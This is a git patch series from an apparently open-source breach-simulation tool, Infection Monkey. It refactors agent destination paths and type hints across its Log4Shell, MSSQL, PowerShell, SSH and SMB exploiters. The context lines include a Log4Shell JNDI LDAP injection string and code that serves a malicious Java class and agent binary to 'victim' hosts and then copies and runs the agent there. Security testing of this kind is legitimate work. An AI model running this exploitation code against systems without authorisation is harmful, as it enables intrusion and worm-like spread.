From dc2a63475b26428dff550181f58f9c25c2248e03 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:31:41 +0000 Subject: [PATCH 1/5] Agent: Fix incorrect monkey destination path bug This bug happened because Path will always cast path to current OS path and if target OS is different the path won't work. By explicitly casting the path to target OS type we get a path for target OS --- monkey/infection_monkey/exploit/tools/helpers.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 87f5636eb..c287b0dbb 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path +from pathlib import Path, PurePosixPath, PureWindowsPath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -20,9 +20,9 @@ def get_random_file_suffix() -> str: def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: if host.os["type"] == "windows": - path = Path(options["dropper_target_path_win_64"]) + path = PureWindowsPath(options["dropper_target_path_win_64"]) else: - path = Path(options["dropper_target_path_linux"]) + path = PurePosixPath(options["dropper_target_path_linux"]) return _add_random_suffix(path) From 90b4038c1461d422d8e47eb6b76fac4bccb638e4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:37:57 +0000 Subject: [PATCH 2/5] Agent: Use random agent name in log4shell exploiter --- monkey/infection_monkey/exploit/log4shell.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 90c95ce28..af28b66e2 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,6 @@ import logging import time +from pathlib import Path from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -10,6 +11,7 @@ from infection_monkey.exploit.log4shell_utils import ( build_exploit_bytecode, get_log4shell_service_exploiters, ) +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.i_puppet.i_puppet import ExploiterResultData @@ -60,13 +62,13 @@ class Log4ShellExploiter(WebRCE): self._agent_http_server_thread = None def _start_servers(self): - dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + target_path = get_agent_dest_path(self.host, self.options) # Start http server, to serve agent to victims - agent_http_path = self._start_agent_http_server(dropper_target_path) + agent_http_path = self._start_agent_http_server(target_path) # Build agent execution command - command = self._build_command(dropper_target_path, agent_http_path) + command = self._build_command(target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -111,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path, http_path) -> str: + def _build_command(self, path: Path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: From 1436be6428dad6ad561240b9c0c1d5e590a142d4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:39:41 +0000 Subject: [PATCH 3/5] Agent: Fix propagation success toggle in log4shell Propagation will only be marked successful if the agent got downloaded, not if the java class got downloaded --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index af28b66e2..f970a35c7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -159,7 +159,6 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: victim_called_back = self._wait_for_victim_to_download_java_bytecode() @@ -188,6 +187,7 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: + self.exploit_result.propagation_success = True break # TODO: if the http server got an error we're waiting for nothing here From 49d3433ade5db27ebdf002bfb8c77c9211368bc6 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 11:46:59 +0000 Subject: [PATCH 4/5] Agent: Change to more specific typehint in helpers.py --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- monkey/infection_monkey/exploit/tools/helpers.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index f970a35c7..0a70d6e01 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,6 @@ import logging import time -from pathlib import Path +from pathlib import PurePath from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -113,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path: Path, http_path) -> str: + def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index c287b0dbb..595207f0c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path, PurePosixPath, PureWindowsPath +from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -18,7 +18,7 @@ def get_random_file_suffix() -> str: return random_string -def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath: if host.os["type"] == "windows": path = PureWindowsPath(options["dropper_target_path_win_64"]) else: @@ -29,7 +29,7 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: # Turns C:\\monkey.exe into C:\\monkey-.exe # Useful to avoid duplicate file paths -def _add_random_suffix(path: Path) -> Path: +def _add_random_suffix(path: PurePath) -> PurePath: stem = path.name.split(".")[0] stem = f"{stem}-{get_random_file_suffix()}" rand_filename = "".join([stem, *path.suffixes]) From 25c7696300f19253b684dc99c7e09c42da3fb119 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 14:47:07 +0000 Subject: [PATCH 5/5] Agent: Change typehints of agent destination path to PurePath --- monkey/infection_monkey/exploit/mssqlexec.py | 14 +++++++------- monkey/infection_monkey/exploit/powershell.py | 4 ++-- .../exploit/powershell_utils/powershell_client.py | 6 +++--- monkey/infection_monkey/exploit/sshexec.py | 4 ++-- monkey/infection_monkey/exploit/tools/smb_tools.py | 6 +++--- 5 files changed, 17 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fb2b6f46e..b93b18649 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,6 @@ import logging import os -from pathlib import Path +from pathlib import PurePath from time import sleep import pymssql @@ -132,7 +132,7 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self, monkey_path_on_victim: Path): + def run_monkey(self, monkey_path_on_victim: PurePath): monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self.run_mssql_command(monkey_launch_command) self.run_payload_file() @@ -142,7 +142,7 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self, monkey_path_on_victim: Path): + def upload_monkey(self, monkey_path_on_victim: PurePath): monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -158,7 +158,7 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer: + def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -169,12 +169,12 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: Path): + def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self, monkey_path_on_victim: Path): + def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): # Form monkey's launch command monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim @@ -187,7 +187,7 @@ class MSSQLExploiter(HostExploiter): suffix=suffix, ) - def get_monkey_download_command(self, monkey_path_on_victim: Path): + def get_monkey_download_command(self, monkey_path_on_victim: PurePath): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8bdf7e571..efc66aabc 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,5 @@ import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import List, Optional from infection_monkey.exploit.HostExploiter import HostExploiter @@ -182,7 +182,7 @@ class PowerShellExploiter(HostExploiter): f"Failed to execute the agent binary on the victim: {ex}" ) - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath): temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 70e82bb66..df2cf65b1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import Optional import pypsrp @@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): pass @abc.abstractmethod - def copy_file(self, src: Path, dest: Path) -> bool: + def copy_file(self, src: Path, dest: PurePath) -> bool: pass @abc.abstractmethod @@ -102,7 +102,7 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: Path, dest: Path): + def copy_file(self, src: Path, dest: PurePath): try: self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 7d0955ffb..aa4ec8b54 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,6 +1,6 @@ import io import logging -from pathlib import Path +from pathlib import PurePath import paramiko @@ -265,7 +265,7 @@ class SSHExploiter(HostExploiter): return self.exploit_result def _set_executable_bit_on_agent_binary( - self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path + self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath ): ftp.chmod(str(monkey_path_on_victim), 0o700) self.telemetry_messenger.send_telemetry( diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 7b5c79931..8c353cf8c 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -2,7 +2,7 @@ import logging import ntpath import pprint from io import BytesIO -from pathlib import Path +from pathlib import PurePath from typing import Optional from impacket.dcerpc.v5 import srvs, transport @@ -22,7 +22,7 @@ class SmbTools(object): def copy_file( host, agent_file: BytesIO, - dst_path: Path, + dst_path: PurePath, username, password, lm_hash="", @@ -104,7 +104,7 @@ class SmbTools(object): if str(dst_path).lower().startswith(share_path.lower()): high_priority_shares += ( - (ntpath.sep + str(dst_path)[len(share_path):], share_info), + (ntpath.sep + str(dst_path)[len(share_path) :], share_info), ) low_priority_shares += ((ntpath.sep + file_name, share_info),)